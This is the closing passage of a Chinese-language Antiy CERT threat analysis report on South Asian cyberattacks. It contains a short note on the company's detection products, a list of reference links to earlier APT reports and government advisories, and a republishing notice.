提示:安天智甲终端防御系统,对相关攻击方式有较好的端点防御能力。安天探海威胁检测系统通过检测引擎和威胁情报可以从流量侧发现相关威胁的投递、回联等行为。对于相关的载荷的构造方法和漏洞利用,安天全线产品和嵌入安天引擎的友商产品均能有效检测。
附录一:参考链接
[1] 白象的舞步——来自南亚次大陆的网络攻击
https://www.antiy.com/response/WhiteElephant/WhiteElephant.html
[2] 潜伏的象群—来自南亚次大陆的系列网络攻击行动
https://www.antiy.com/response/The_Latest_Elephant_Group.html
[3] Pakistan NTISB (Advisory No.18):Advisory-Prevention Against Multi-Vector Targeted Malware Campaign
http://download1.fbr.gov.pk/Docs/201974975051612AdvisoryNo18of2019.pdf
[4] Pakistan Power Information Technology Company (PITC) :Security Alerts
http://www.pitc.com.pk/index.php/13-sample-data-article/portfolio/design/25-4
[5] 震网事件的九年再复盘与思考
https://www.antiy.com/response/20190930.html
[6] “方程式组织”攻击SWIFT服务提供商EastNets事件复盘分析报告
https://www.antiy.com/response/20190601.html
注:
本分析报告由安天CERT(安天应急响应中心)发布,欢迎无损转发。
本分析报告错漏缺点在所难免,欢迎业内专家批评指正。